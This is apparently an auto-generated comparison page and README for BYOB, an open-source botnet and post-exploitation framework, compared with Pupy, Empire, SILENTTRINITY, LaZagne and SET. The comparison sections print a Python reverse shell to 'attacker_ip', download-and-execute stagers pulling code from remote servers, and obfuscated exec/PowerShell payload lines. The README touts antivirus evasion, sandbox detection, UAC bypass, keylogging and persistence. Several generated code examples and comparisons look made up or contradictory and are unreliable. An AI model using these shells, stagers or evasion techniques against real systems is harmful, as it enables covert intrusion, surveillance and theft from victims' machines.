Convert Figma logo to code with AI

malwaredllc logobyob

An open-source post-exploitation framework for students, researchers and developers.

8,933
2,106
8,933
11
View on GitHub

Top Related Projects

n1nj4sec's avatar

pupy

8,350

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C

EmpireProject's avatar

Empire

7,394

Empire is a PowerShell and Python post-exploitation agent.

byt3bl33d3r's avatar

SILENTTRINITY

2,169

An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR

AlessandroZ's avatar

LaZagne

9,431

Credentials recovery project

trustedsec's avatar

social-engineer-toolkit

10,692

The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.

Quick Overview

BYOB (Build Your Own Botnet) is an open-source project for security researchers and developers to study and understand how botnets work. It provides a framework for creating custom command and control servers and clients with a variety of features, including remote code execution, persistence, and data exfiltration.

Pros

  • Educational tool for understanding botnet architecture and functionality
  • Highly customizable and extensible framework
  • Supports multiple platforms (Windows, Linux, macOS)
  • Includes built-in modules for various tasks and payloads

Cons

  • Potential for misuse by malicious actors
  • Requires careful handling to avoid unintended consequences
  • May trigger antivirus software or raise security concerns
  • Steep learning curve for beginners

Code Examples

  1. Creating a client:
import client

# Create a new client instance
c = client.Client(host='localhost', port=1337, username='admin', password='password')

# Connect to the server
c.connect()
  1. Executing a command on connected clients:
import server

# Create a server instance
s = server.Server()

# Execute a command on all connected clients
s.execute('whoami')
  1. Adding a custom module:
from modules import Module

class CustomModule(Module):
    def __init__(self):
        self.name = 'custom_module'
        self.description = 'A custom module example'

    def run(self, *args, **kwargs):
        # Custom module logic here
        pass

# Register the custom module
server.add_module(CustomModule())

Getting Started

  1. Clone the repository:

    git clone https://github.com/malwaredllc/byob.git
cd byob

  2. Install dependencies:

    pip install -r requirements.txt

  3. Generate client:

    python client.py --host <C2_SERVER_IP> --port <C2_SERVER_PORT>

  4. Start the server:

    python server.py --port <C2_SERVER_PORT>

Note: Use this tool responsibly and only in controlled environments with proper authorization.

Competitor Comparisons

n1nj4sec logo

pupy

8,350

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C

Pros of Pupy

  • More extensive feature set, including advanced post-exploitation capabilities
  • Cross-platform support (Windows, Linux, macOS, Android)
  • Active development and community support

Cons of Pupy

  • Steeper learning curve due to complexity
  • Larger codebase, potentially harder to customize
  • May trigger more antivirus detections due to its comprehensive nature

Code Comparison

Pupy (client-side payload):

import pupyimporter
pupyimporter.install()
import pupy
pupy.main()

BYOB (client-side payload):

import socket
import subprocess
s = socket.socket()
s.connect(("attacker_ip", port))
while True:
    cmd = s.recv(1024).decode()
    output = subprocess.getoutput(cmd)
    s.send(output.encode())

The code snippets demonstrate the difference in complexity and approach. Pupy uses a custom importer and main function, while BYOB implements a simpler reverse shell. This reflects Pupy's more advanced features and BYOB's focus on simplicity and customization.

EmpireProject logo

Empire

7,394

Empire is a PowerShell and Python post-exploitation agent.

Pros of Empire

  • More mature and well-established project with a larger community
  • Extensive documentation and support resources
  • Broader range of post-exploitation modules and capabilities

Cons of Empire

  • Less actively maintained in recent years
  • Heavier and more complex to set up and use
  • More likely to be detected by antivirus software due to its popularity

Code Comparison

Empire (PowerShell stager):

$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server/launcher');

BYOB (Python payload):

import urllib.request, subprocess
payload = urllib.request.urlopen('http://byob.server/payload').read()
exec(payload)

Both projects aim to provide post-exploitation frameworks, but Empire focuses on PowerShell-based attacks, while BYOB is Python-centric. Empire offers a more comprehensive set of features and modules, but BYOB is lighter and potentially less detectable. Empire's development has slowed, whereas BYOB is more actively maintained. The code snippets demonstrate the different approaches: Empire uses a more complex PowerShell stager, while BYOB employs a simpler Python payload.

byt3bl33d3r logo

SILENTTRINITY

2,169

An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR

Pros of SILENTTRINITY

  • Written in Python, which is more widely known and easier to contribute to
  • Supports a wider range of payload types and communication protocols
  • More active development and frequent updates

Cons of SILENTTRINITY

  • Requires more setup and configuration compared to BYOB's simpler approach
  • Less extensive documentation and user guides
  • Smaller community and fewer available modules/plugins

Code Comparison

SILENTTRINITY (Python):

class Stager(STModule):
    def __init__(self):
        self.name = 'powershell'
        self.description = 'Generates a PowerShell stager'
        self.author = '@byt3bl33d3r'
        self.options = {}

BYOB (Python):

class Payload(Stager):
    """
    Payload generator
    """
    def __init__(self, **kwargs):
        super(Payload, self).__init__(**kwargs)
        self.name = 'payload'
        self.description = 'Generates a payload'
        self.options = {}

Both projects use Python for their core functionality, but SILENTTRINITY focuses more on PowerShell-based payloads and stagers, while BYOB has a more generalized approach to payload generation. SILENTTRINITY's codebase is more modular and follows a plugin-based architecture, whereas BYOB's structure is more monolithic and integrated.

AlessandroZ logo

LaZagne

9,431

Credentials recovery project

Pros of LaZagne

  • Focused specifically on password recovery from various applications
  • Supports a wide range of applications and browsers
  • Lightweight and easy to use

Cons of LaZagne

  • Limited to password recovery functionality
  • Less versatile compared to BYOB's broader feature set
  • May require more manual intervention for data extraction

Code Comparison

LaZagne (password recovery):

def run_lazagne(category_selected="all", subcategories={}, password=None):
    for category in category_selected:
        for module in get_categories()[category]:
            try:
                mod = import_module(module)
                pwd_found = mod.run(subcategories[category], password)
                # Process and store recovered passwords
            except Exception:
                pass

BYOB (command execution):

def execute(self, cmd):
    try:
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        return output.decode('utf-8')
    except Exception as e:
        return "{} error: {}".format(self.execute.__name__, str(e))

The code snippets highlight the different focus areas of the two projects. LaZagne concentrates on password recovery from various applications, while BYOB provides a more general command execution capability, allowing for a wider range of operations.

trustedsec logo

social-engineer-toolkit

10,692

The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.

Pros of Social-Engineer-Toolkit

  • More comprehensive set of social engineering tools and attack vectors
  • Longer development history and larger community support
  • Integrated with Metasploit for enhanced exploitation capabilities

Cons of Social-Engineer-Toolkit

  • Less focus on custom payload generation and remote administration
  • More complex setup and usage compared to BYOB's streamlined approach
  • Limited cross-platform support (primarily designed for Linux)

Code Comparison

Social-Engineer-Toolkit (payload generation):

payload = "powershell.exe -nop -w hidden -e {0}".format(base64.b64encode(code.encode('utf_16_le')).decode())

BYOB (payload generation):

payload = "import zlib,base64,marshal;exec(marshal.loads(zlib.decompress(base64.b64decode({}))))".format(payload)

Both projects use encoding techniques for payload obfuscation, but BYOB's approach is more compact and focused on Python-based payloads, while Social-Engineer-Toolkit offers a wider range of payload types and languages.

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

Banner

license version Coverage Status Discord Tweet

Questions? Check out the docs or join our Discord support server

Disclaimer: This project should be used for authorized testing or educational purposes only.

BYOB is an open-source post-exploitation framework for students, researchers and developers. It includes features such as:

  • Command & control server with intuitive user-interface
  • Custom payload generator for multiple platforms
  • 12 post-exploitation modules

It is designed to allow students and developers to easily implement their own code and add cool new features without having to write a C2 server or Remote Administration Tool from scratch.

This project has 2 main parts: the original console-based application (/byob) and the web GUI (/web-gui).

Web GUI

Dashboard

A control panel for your C2 server with a point-and-click interface for executing post-exploitation modules. The control panel includes an interactive map of client machines and a dashboard which allows efficient, intuitive administration of client machines.

dashboard_preview

Payload Generator

The payload generator uses black magic involving Docker containers & Wine servers to compile executable payloads for any platform/architecture you select. These payloads spawn reverse TCP shells with communication over the network encrypted via AES-256 after generating a secure symmetric key using the Diffie-Hellman IKE.

payloads_preview

Terminal Emulator

The web app includes an in-browser terminal emulator so you can still have direct shell access even when using the web GUI.

terminal_preview

Console Application

Client

client

Generate fully-undetectable clients with staged payloads, remote imports, and unlimited post-exploitation modules

  1. Remote Imports: remotely import third-party packages from the server without writing them to the disk or downloading/installing them
  2. Nothing Written To The Disk: clients never write anything to the disk - not even temporary files (zero IO system calls are made) because remote imports allow arbitrary code to be dynamically loaded into memory and directly imported into the currently running process
  3. Zero Dependencies (Not Even Python Itself): client runs with just the python standard library, remotely imports any non-standard packages/modules from the server, and can be compiled with a standalone python interpreter into a portable binary executable formatted for any platform/architecture, allowing it to run on anything, even when Python itself is missing on the target host
  4. Add New Features With Just 1 Click: any python script, module, or package you copy to the ./byob/modules/ directory automatically becomes remotely importable & directly usable by every client while your command & control server is running
  5. Write Your Own Modules: a basic module template is provided in ./byob/modules/ directory to make writing your own modules a straight-forward, hassle-free process
  6. Run Unlimited Modules Without Bloating File Size: use remote imports to add unlimited features without adding a single byte to the client's file size
  7. Fully Updatable: each client will periodically check the server for new content available for remote import, and will dynamically update its in-memory resources if anything has been added/removed
  8. Platform Independent: everything is written in Python (a platform-agnostic language) and the clients generated can optionally be compiled into a portable executable (Windows) or bundled into a standalone application (macOS)
  9. Bypass Firewalls: clients connect to the command & control server via reverse TCP connections, which will bypass most firewalls because the default filter configurations primarily block incoming connections
  10. Counter-Measure Against Antivirus: avoids being analyzed by antivirus by blocking processes with names of known antivirus products from spawning
  11. Encrypt Payloads To Prevent Analysis: the main client payload is encrypted with a random 256-bit key which exists solely in the payload stager which is generated along with it
  12. Prevent Reverse-Engineering: by default, clients will abort execution if a virtual machine or sandbox is detected

Modules

modules

Post-exploitation modules that are remotely importable by clients

  1. Persistence (byob.modules.persistence): establish persistence on the host machine using 5 different methods
  2. Packet Sniffer (byob.modules.packetsniffer): run a packet sniffer on the host network & upload .pcap file
  3. Escalate Privileges (byob.modules.escalate): attempt UAC bypass to gain unauthorized administrator privileges
  4. Port Scanner (byob.modules.portscanner): scan the local network for other online devices & open ports
  5. Keylogger (byob.modules.keylogger): logs the user’s keystrokes & the window name entered
  6. Screenshot (byob.modules.screenshot): take a screenshot of current user’s desktop
  7. Outlook (byob.modules.outlook): read/search/upload emails from the local Outlook client
  8. Process Control (byob.modules.process): list/search/kill/monitor currently running processes on the host
  9. iCloud (byob.modules.icloud): check for logged in iCloud account on macOS

Server

server

Command & control server with persistent database and console

  1. Console-Based User-Interface: streamlined console interface for controlling client host machines remotely via reverse TCP shells which provide direct terminal access to the client host machines
  2. Persistent SQLite Database: lightweight database that stores identifying information about client host machines, allowing reverse TCP shell sessions to persist through disconnections of arbitrary duration and enabling long-term reconnaissance
  3. Client-Server Architecture: all python packages/modules installed locally are automatically made available for clients to remotely import without writing them to the disk of the target machines, allowing clients to use modules which require packages not installed on the target machines

Core

core

Core framework modules used by the generator and the server

  1. Utilities (byob.core.util): miscellaneous utility functions that are used by many modules
  2. Security (byob.core.security): Diffie-Hellman IKE & 3 encryption modes (AES-256-OCB, AES-256-CBC, XOR-128)
  3. Loaders (byob.core.loaders): remotely import any package/module/scripts from the server
  4. Payloads (byob.core.payloads): reverse TCP shell designed to remotely import dependencies, packages & modules
  5. Stagers (byob.core.stagers): generate unique payload stagers to prevent analysis & detection
  6. Generators (byob.core.generators): functions which all dynamically generate code for the client generator
  7. DAO (byob.core.dao): handles interaction between command & control server and the SQLite database
  8. Handler (byob.core.handler): HTTP POST request handler for remote file uploads to the server

To Do

Contributors welcome! Feel free to issue pull-requests with any new features or improvements you have come up with!

  1. Remote Import Encryption - encryption for data streams of packages/modules being remotely imported (to maintain confidentiality/authenticity/integrity and prevent any remote code execution vulnerabilities arising from deserialization)
  2. Transport Types - add support for more transport types (HTTP/S, DNS, etc.)
  3. Bug Fixes - fix any bugs/issues